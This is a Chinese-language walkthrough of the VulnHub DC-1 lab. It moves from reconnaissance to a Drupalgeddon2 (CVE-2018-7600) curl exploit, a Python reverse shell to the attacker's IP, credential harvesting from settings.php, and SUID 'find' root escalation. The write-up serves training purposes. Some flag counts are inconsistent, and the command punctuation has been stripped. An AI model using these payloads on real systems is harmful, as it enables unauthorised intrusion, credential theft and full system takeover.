ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

DC-1靶场渗透实战:从Drupal漏洞利用到SUID提权全解析

DC-1靶场渗透实战:从Drupal漏洞利用到SUID提权全解析 1. 从DHCP地址到Drupal 7先把DC-1靶场环境配到自己手里1.1 DC-1到底是一台什么样的靶机先交代一下背景。DC-1是VulnHub上DCAU系列的第一台靶机作者是DCAU团队。它基于Drupal 7旧版本搭建目标非常明确通过渗透手段拿到这台机器上的所有flag最终获取root权限。很多安全培训机构和CTF初学者都会把DC-1列为入门第一台因为它的难度曲线很平缓没有花里胡哨的编码绕过也没有需要脑洞大开的偏门考点考的几乎全是基本功——信息收集、漏洞识别、漏洞利用、权限提升每一步都能在实际工作中找到对应场景。我最初打DC-1的时候其实有点轻敌觉得不过是一台老掉牙的Drupal站扫出来漏洞直接打就完了。结果真正动手才发现信息收集如果做得不仔细后续所有步骤都会卡壳。这一点后面展开讲。先说说环境准备因为这一步如果没弄对后面全是白费。DC-1的下载方式很简单从VulnHub页面下载一个zip或ova格式的镜像解压后得到一个.ova文件可以直接导入VMware Workstation也可以导入VirtualBox。导入的时候参数基本不用改默认设置就能跑。唯一要注意的是靶机默认会走DHCP自动获取IP所以你的虚拟网络环境里必须有一个能分配IP的网段否则它启动后会一直停在“waiting for DHCP”的状态。1.2 Kali、靶机和网络拓扑怎么搭最顺手我的建议是Kali和DC-1都挂在NAT模式下。这样做的原因是NAT模式下两台虚拟机共享宿主机的外网出口DHCP分配地址的流程最稳定很少出现网络不通的问题。如果你用桥接模式虽然也能打但会受到宿主机所在局域网内DHCP、防火墙策略、甚至其他设备IP冲突的影响对于新手来说排查成本偏高。启动顺序上先开Kali等它完全进入系统后再开DC-1。DC-1启动过程比较慢因为里面跑着MySQL和Apache你可以观察到它启动后直接在终端里显示了登录提示符默认是不告诉你IP的。这时候打开Kali的终端用下面两个命令之一扫一下同网段的存活主机arp-scan -lnmap -sn 192.168.xxx.0/24如果你用的是VMware的NAT模式Kali的IP网段一般对应VMnet8通常形如192.168.137.0/24或者192.168.221.0/24。用ip addr先确认Kali自己的IP再把C段套进上面的命令。扫出来的存活主机里除了Kali自己、网关一般是.1或.2结尾之外多出来的那台就是DC-1。我实测时它往往落在类似192.168.221.136这样的地址上但每次环境不同DHCP分配结果会有差异别抱着固定IP不放。1.3 打这台靶机需要准备哪些工具Kali自带的工具完全够用不需要额外装什么重型软件。我用到的工具清单如下工具用途是否Kali预装arp-scan / nmap主机发现、端口扫描、服务版本识别预装gobuster / dirbWeb目录扫描预装curl手动构造HTTP请求预装ncnetcat反弹Shell监听预装python3反弹Shell、交互式TTY辅助预装droopescanDrupal专用扫描器需pip安装searchsploit本地漏洞库检索预装如果你之前没装过droopescan可以用pip直接装pip install droopescan装完先跑一下droopescan -h确认可用。这个工具在国内网络环境下偶尔会下载失败多试几次或者换个源就好但它确实值得装因为对Drupal站的漏洞探测效率比手动翻页面高得多。环境这块搞定之后就进入正题了。整个渗透流程我建议你跟着做不要跳步每一步都有它存在的理由。2. 端口扫描和目录探测为什么这一层不能跳2.1 先搞清楚靶机开放了哪些服务拿到DC-1的IP后先做一次全端口、服务识别加默认脚本扫描。这一步我习惯的命令长这样nmap -sS -sV -sC -p- 192.168.221.136参数解释一下-sS是SYN半开扫描速度快-sV是服务版本识别-sC是跑默认安全脚本-p-是扫描全部65535个端口防止靶机把端口放在非常规位置。我这里只看到一个Web服务在跑20到30秒左右扫完。DC-1的结果比我预想的还干净只开放了22/tcp ssh和80/tcp http外加一个111/tcp rpcbind。SSH是OpenSSH 6.x一看就是老系统Web服务是Apache具体版本信息在响应头里能看到。很多人扫到这里就开始打Web了这没有错但我建议你顺手把SSH和系统版本也记下来因为后续如果Web路径走不通SSH弱口令和系统已知漏洞也是备选进入方式。虽然DC-1实际上不需要走SSH但养成记录所有暴露面的习惯对你打其他靶场会很有帮助。2.2 浏览器访问首页看到的东西比想象中少用浏览器打开http://192.168.221.136你会看到Drupal默认的安装欢迎页面。这个页面本身没什么可利用的但别急着关留意一下页面源代码里的提示。DC-1首页源码里没有直接给出flag官方设计是把flag藏在后续多个位置每个flag文本之间还会互相提示下一步怎么走。接着看HTTP响应头用curl会更直观curl -s -I http://192.168.221.136返回的Server字段会告诉你Apache版本X-Powered-By头如果存在还会暴露PHP版本。这些信息在后续构造利用payload时有用尤其是当靶机存在WAF或者特殊解析规则时版本信息能帮你避开一些坑。2.3 目录扫描robots.txt和README.txt里藏着第一份情报很多人觉得Drupal站点的目录结构是固定的没必要扫。但DC-1恰恰在目录扫描这一步埋了伏笔。我用gobuster扫了一遍常见目录gobuster dir -u http://192.168.221.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50扫出来的东西里/robots.txt和/CHANGELOG.txt最值得关注。robots.txt里通常有Drupal开发者主动屏蔽的路径比如/user/login、/admin、/sites这些虽然屏蔽不代表不能访问但它能让你快速了解站长在隐藏什么。CHANGELOG.txt更狠它直接暴露了Drupal小版本号比如Drupal 7.56这个信息对后续精确匹配漏洞极其重要。我实测扫到了这些目录同时确认了这是一个Drupal 7的站点而且从文件时间戳来看这套系统安装之后几乎没做过安全更新。到这里信息收集阶段基本完成接下来就是判断漏洞、准备利用。3. 利用Drupal漏洞打穿Web层从探测到反弹Shell的完整链路3.1 用droopescan确认漏洞面拿到“Drupal 7 老版本”这个信息后我直接用droopescan扫了一遍droopescan scan drupal -u http://192.168.221.136输出结果里会列出来Drupal版本、启用的模块、以及它认为存在漏洞的模块。DC-1的官方推荐路径是走RESTful Web Services模块的漏洞但这里有个更经典也更稳的选择——Drupalgeddon2CVE-2018-7600。这个漏洞影响Drupal 7.x的大部分版本原理是Drupal处理表单数组时没有正确过滤某些#post_render、#type、#markup等数组键导致攻击者可以把PHP代码注入到表单渲染流程里执行。我建议你在打DC-1之前先在本地用searchsploit看一眼相关模块searchsploit drupal 7输出里会列出很多Drupal 7的利用脚本编号、路径、适用版本都清清楚楚。DC-1上用Drupalgeddon2足够不需要把每个脚本都试一遍。3.2 Drupalgeddon2的利用原理五句话讲清楚Drupal的注册、登录、评论提交这些功能都依赖Form API。Form API在渲染表单时会允许开发者用数组形式定义表单结构比如mail[a][#markup]这种写法。问题出在Drupal 7对用户提交的数组参数处理得不够严谨——它会把数组里以#开头的键当作渲染选项来解析而渲染选项里有些回调用法是可以直接执行代码的比如#post_render指向exec函数时#markup里写的字符串就会变成系统命令被直接执行。攻击者要做的事情就是找一个接收POST参数的地方把表单ID和恶意数组一起提交过去让Drupal把我们的命令当作渲染函数参数执行。利用成功后命令输出会直接显示在HTTP响应里或者通过反弹Shell的方式把控制权拿回来。3.3 用curl手工打一次Drupalgeddon2我推荐先不用现成脚本手工构造一次请求这样能加深理解。以下请求在DC-1的/user/register路径上实测可行curl -i -s -k -X POST \ -H User-Agent: MyDrupalBot \ --data-binary form_iduser_register_form_drupal_ajax1mail[a][#post_render][]execmail[a][#type]markupmail[a][#markup]id \ http://192.168.221.136/user/register如果漏洞存在响应体里会包含uid命令的执行结果也就是当前运行Apache的账户身份通常是www-data。这一步的目的就是验证命令执行是否成功先跑一个无害的id命令别一上来就反弹Shell万一命令语法错了你都不知道是哪一步的问题。确认命令执行成功后把mail[a][#markup]的值改成反弹Shell命令。比如Kali的IP是192.168.221.128在8080端口监听先用nc起一个监听nc -lvnp 8080然后把id换成下面这段python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.221.128,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i])注意这里需要对整段payload做URL编码尤其是引号、括号、分号和空格。一个偷懒的办法是把payload写进一个变量再拼到curl里或者直接用--data-urlencode参数。我看到很多人卡在这一步就是因为符号和号没有正确编码导致Drupal解析参数时把payload截断了。3.4 拿到www-data后第一件事不是翻flag而是连数据库反弹Shell连回来你会得到一个低权限的www-data账户。此时你确实能读一些文件但DC-1的设计是flag1就在Web目录里但flag2藏在更深的地方。进入Shell后先用python3 -c import pty;pty.spawn(/bin/bash)把Shell升级成交互式的不然Tab补全、CtrlC这些都用不了后续操作会很别扭。接下来要找到Drupal的数据库配置。Drupal 7的数据库配置文件在sites/default/settings.php直接读它cat /var/www/sites/default/settings.php里面会有数据库名、用户名、密码典型配置长这样database drupaldb, username drupaluser, password something, host localhost,有了这套凭据就可以连上本地的MySQL把Drupal的后台管理员账号密码重置或者直接查出来。DC-1的flag3就藏在这个数据库里存于内容表中文本会提示你去后台找某个节点。这里有个更高级的操作Drupal自带一个命令行工具drush就在/var/www/vendor/drush/drush/drush路径下。用它可以一句话生成管理员登录链接都不用改密码cd /var/www php vendor/drush/drush/drush.php user-login admin执行后会输出一个一次性登录URL用浏览器打开就直接进入了Drupal后台比手动改数据库方便得多。到了后台之后翻一下内容管理里的各个节点flag3就在某个页面或者文章的正文里。到目前为止我们已经拿到了三个flag中的三个但离root还差最后一步。DC-1的精髓也正在这里——Web层的低权限Shell并不难拿难的是怎么把权限提上去。4. SUID提权为什么find命令能变成通向root的钥匙4.1 低权限Shell里看到的系统布局决定了提权思路拿到www-data权限后先对整个文件系统做个侦察。DC-1的flag2会提示你“查看一下权限配置有没有问题”这里的“权限配置”指的就是SUID位。我执行的命令是find / -perm -4000 -type f 2/dev/null这行命令的意思是在整个文件系统里找出所有设置了SUID位的普通文件。-perm -4000是匹配权限位中的setuid标志-type f限定为普通文件2/dev/null是过滤掉权限不足导致的报错输出。命令执行后除了常见的/usr/bin/sudo、/usr/bin/passwd这些系统默认项外我注意到了一个非常扎眼的条目/usr/bin/find。正常情况下find命令根本不需要SUID权限它只是一个文件搜索工具任何普通用户都能正常运行。系统管理员几乎不会给find设置SUID位除非是配置失误。这个配置失误就是DC-1留给我们的提权通道。4.2 find命令为什么能执行任意命令这里得说清楚SUID的原理。Linux系统的每个文件都有权限位其中特殊权限位包括SUID4000、SGID2000和Sticky Bit1000。当一个文件设置了SUID位后其他用户执行这个文件时进程的有效用户ID会变成文件属主的用户ID而不是当前登录用户的ID。换句话说如果/usr/bin/find的属主是root并且设置了SUID位那么任何普通用户执行这个find时系统都会以root身份来运行它。这就相当于系统发给每个普通用户一张写着“root”的临时工牌——你本人不是root但你运行的这个程序拥有root权限。find命令本身有一个-exec参数允许在找到文件后执行指定的命令。这就产生了一个危险的组合一个以root身份运行的find配合一个能执行任意命令的-exec参数等于给了我们一个root权限的命令执行通道。我在提权时执行的命令是find / -exec whoami \;结果是root这就证明思路没问题。更激进一点的写法是直接弹一个交互式Shellfind / -exec /bin/sh \;或者find / -exec bash -i \;执行后当前Shell会变成root权限的Shell输入id确认看到uid0(root)的那一刻DC-1这台机器基本上就算打穿了。4.3 从root目录里取出最后一个flag拿到root Shell后去root的家目录看一眼cd /root ls -la最后一个flag就在/root/thefinalflag.txt里cat一下就能看到。DC-1的收尾flag通常会给出一些鼓励性的提示并且告诉你这次训练覆盖了哪些技能点。到这里DC-1的五个flag已经全部拿到整个靶场通关。但我必须提醒一句SUID提权在真实环境中并没有这么理想。真实的Linux系统很少会给find这种命令设置SUID位更多见的是某些脚本、二进制程序带着SUID或者sudo配置留了某个命令的免密权限。所以DC-1教给你的不是“用find提权”这一个操作而是“当某个你能执行的文件以root身份运行时它能不能变成命令执行通道”这种思维方式。之后打DC-2、DC-3你还会遇到类似但更隐蔽的提权技巧套路略有不同但底层的权限模型是同一套。5. 打完之后我踩过的坑和下一步的进阶思路5.1 反弹Shell连不上八成是监听地址和payload地址不匹配我在第一次打DC-1时反弹Shell折腾了很久都没成功。排查了半天发现是Kali的IP变了但我payload里写的还是旧IP。这里建议你在执行反弹Shell之前先在Kali上确认一下当前IP最好把payload里的IP写在纸上再核对一遍。另一个常见问题是Kali防火墙拦截了入站连接如果你的nc监听收不到任何数据先跑sudo ufw status看看防火墙状态必要的时候用sudo ufw allow 8080/tcp放行。还有一个隐蔽的坑是Drupalgeddon2的payload中不能出现裸号因为HTTP参数分隔符就是必须做URL编码。如果你看到类似“参数错误”或页面返回500先检查是不是、?、这些字符没有被转义。用--data-urlencode传参能省掉大部分编码问题。5.2 打靶过程中Drupal突然“变干净”了可能是自动更新在捣乱DC-1的作者在靶机里放了一个自动更新脚本它会定期从源站拉取Drupal更新包。如果你打得很慢靶机自己把Drupal版本升上去Drupalgeddon2这个漏洞可能就失效了页面也会从初始状态变成已更新状态。这是很多人打DC-1打了一半突然找不到入口的原因。解决方案有两个一个是在开始前对靶机打一个快照万一更新发生了就回滚重来另一个是拿到Shell后第一时间把更新脚本或者对应cron任务停掉。我个人更推荐快照方案因为你很难预测它什么时候触发更新与其和它比速度不如多留几条后路。5.3 别一上来就暴力破解后台登录那是最笨的路有些朋友拿到Drupal站点后第一反应是用wpscan或者Burp Suite去爆破/user/login。我不建议这么干DC-1的Drupal后台登录页并没有限制尝试次数但爆破成功的概率极低纯粹浪费时间。正确的思路是先看漏洞、再看配置、最后才是爆破密码。Drupal 7年代积累了大量公开漏洞CMS本身的安全性远弱于它的后台密码复杂度直接从漏洞入手往往是一条更短的路径。打DC-1想进阶我总结了一个顺序先自己从头到尾打一遍不看任何答案复盘卡点的时候把每个卡住的知识点单独补一轮然后再去看别人的WriteUp对比思路差异。如果你打DC-1觉得吃力多半是Linux基础不到位先把find的常用参数、权限模型、用户和组的概念弄熟比刷更多靶场更有效。DC-1通了之后可以继续打DC-2、DC-3它们同属一个系列思路有延续性但每台都会引入新的知识点。再往后VulnHub上的Kioptrix系列、HackTheBox的入门级机器也都是很好的练习对象。最后说点实在的打靶场不是目的养成的分析习惯才是。DC-1教会我的最有价值的东西不是某一条curl命令怎么写而是永远先做充分的信息收集再做最小范围的验证最终沿着一条可靠的路径拿到结果。这个节奏在我后来处理真实漏洞应急的时候依然适用。
返回列表